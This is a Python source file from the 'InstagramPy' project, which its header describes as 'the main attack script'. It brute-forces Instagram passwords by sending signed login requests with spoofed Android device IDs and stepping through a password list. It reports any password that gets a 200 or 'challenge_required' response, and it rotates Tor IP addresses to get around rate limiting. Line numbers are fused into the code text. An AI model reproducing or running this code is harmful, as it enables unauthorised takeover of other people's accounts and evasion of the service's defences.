Path: blob/master/InstagramPy/InstagramPyInstance.py
197 views
# The MIT License.1# Copyright (C) 2017 The Future Shell , DeathSec.2#3# @filename : InstagramPyInstance.py4# @description : creates a new app instance and coordinates with5# InstagramPySession , InstagramPyReports and InstagramPyCLI.6# the main attack script.7import uuid8import time9import sys10import hmac11import urllib12import json13import hashlib14import requests151617class InstagramPyInstance:18cli = None19guid = str(uuid.uuid4())20phone_id = guid21device_id = None22session = None23password_found = False2425def __init__(self, cli, session):26if not cli == None:27self.cli = cli28else:29self.cli = None3031if not session == None:32self.session = session33else:34print('InstagramPyInstance:: no session given.')35sys.exit(-1)36self.device_id = self.GetDeviceId()3738def GetDeviceId(self):39user_hash = hashlib.md5()40user_hash.update(self.session.username.encode(41'utf-8') + str(uuid.uuid4()).encode('utf-8'))42device_hash = hashlib.md5()43device_hash.update(user_hash.hexdigest().encode(44'utf-8') + '12345'.encode('utf-8'))45return str('android-' + device_hash.hexdigest()[:16])4647def PasswordFound(self):48return self.password_found4950def TryPassword(self):51if not self.password_found and not self.session.eopl:52request_data = None53response_data = None5455data = {56'phone_id': self.phone_id,57'_csrftoken': self.session.magic_cookie,58'username': self.session.username,59'guid': self.guid,60'device_id': self.device_id,61'password': self.session.CurrentPassword(),62'login_attempt_count': '0'63}6465json_data = json.dumps(data)66hmac_signed = hmac.new(self.session.ig_sig_key.encode(67'utf-8'), json_data.encode('utf-8'), hashlib.sha256).hexdigest()68json_data_enc = urllib.parse.quote(json_data)6970try:71r = requests.Request(method='POST', url='{}accounts/login/'.format(self.session.api_url),72data='ig_sig_key_version={}&signed_body={}.{}'.format(self.session.ig_sig_version,73hmac_signed,74json_data_enc75), cookies=self.session.bot.cookies, headers=self.session.bot.headers)76request_data = r.prepare()77r = self.session.bot.post('{}accounts/login/'.format(self.session.api_url),78data='ig_sig_key_version={}&signed_body={}.{}'.format(self.session.ig_sig_version,79hmac_signed,80json_data_enc81))8283except KeyboardInterrupt:84if not self.cli == None:85self.cli.ReportError('process aborted by the user')86else:87sys.exit(-1)88except (BaseException, Exception) as err:89if not self.cli == None:90self.cli.ReportError(91"unable to send request to instagram :: {}".format(err))92else:93sys.exit(-1)9495if r.status_code == 200:96self.password_found = True97if not self.cli == None:98self.cli.PrintProgress(password=self.session.CurrentPassword(),99ip=self.session.ip,100request=request_data,101response=r.content102)103self.cli.ReportAttack(self.session.CurrentPassword())104else:105try:106response_data = (r.json())['message']107except:108# sleep for some seconds to let instagram recover109time.sleep(3)110return True111112if response_data == 'challenge_required':113self.password_found = True114if not self.cli == None:115self.cli.PrintProgress(password=self.session.CurrentPassword(),116ip=self.session.ip,117request=request_data,118response=r.content119)120121self.cli.ReportAttack(self.session.CurrentPassword())122123elif response_data == 'The password you entered is incorrect. Please try again.':124if not self.session.current_save == None:125self.session.UpdateSaveFile()126self.session.NextPassword()127if not self.cli == None:128self.cli.PrintProgress(password=self.session.CurrentPassword(),129ip=self.session.ip,130request=request_data,131response=r.content132)133else:134if 'Invalid' not in response_data:135if not self.cli == None:136self.cli.PrintProgress(password=self.session.CurrentPassword(),137ip=self.session.ip,138request=request_data,139response=r.content140)141self.cli.PrintChangingIP()142self.session.ChangeIPAddress() # signal tor to change ip143else:144self.session.NextPassword()145146else:147if self.password_found:148if not self.cli == None:149self.cli.PrintProgress(password=self.session.CurrentPassword(),150ip=self.session.ip,151request=request_data,152response=r.content153)154155self.cli.ReportAttack(self.session.CurrentPassword())156else:157if not self.cli == None:158self.cli.ReportAttack(None)159sys.exit(-1)160161162